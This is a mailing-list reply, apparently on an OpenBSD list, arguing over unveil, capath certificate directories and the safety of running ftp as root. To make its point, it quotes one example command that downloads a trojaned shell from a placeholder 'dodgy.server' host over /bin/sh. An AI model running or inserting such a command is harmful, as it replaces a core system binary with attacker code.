Kevin Chadwick <[email protected]> wrote: > On 2020-06-01 11:20, Stuart Henderson wrote: > > We went through this earlier when unveil was added to nc. The way capath > > directories are often populated in the real world is not compatible with > > unveil, you would need to resolve all files in capath, recursively resolve > > symlinks, and add the chain of symlinks to the list of files to unveil. > > Or remove capath support, or don't bother with unveil. > > > > I wonder, if 99% of users just use /etc/ssl/cert.pem? whether a flag that > breaks/enables other use cases (removes capath support at runtime), might > work?
I guess you don't understand unveil. You didn't understand what Stuart just said *at all*. > >> I’d love to make it as safe to run as root as it is running it as an > >> unprivileged chrooted user! And I love C! > > > It *cannot* be as safe to run as root as it is running it as an unprivileged > > chrooted user. ftp -o /bin/sh http://dodgy.server/trojanned-sh > > > > > > This "safe to run as root" sounds a lot like the talk around a subtler issue > that I used to see often on the hardened-gentoo list. > > In that they would say root doesn't exist with RBAC (meaning not necessary). > Whilst the more complex and so potentially buggy RBAC systems should IMO be > added layers. You shouldn't disable/ignore the simpler, tried and tested DAC > systems, because of something new and shiny. Sounds completely unrelated. Let's cut this short -- if you don't know what you are talking about just don't comment, ok?
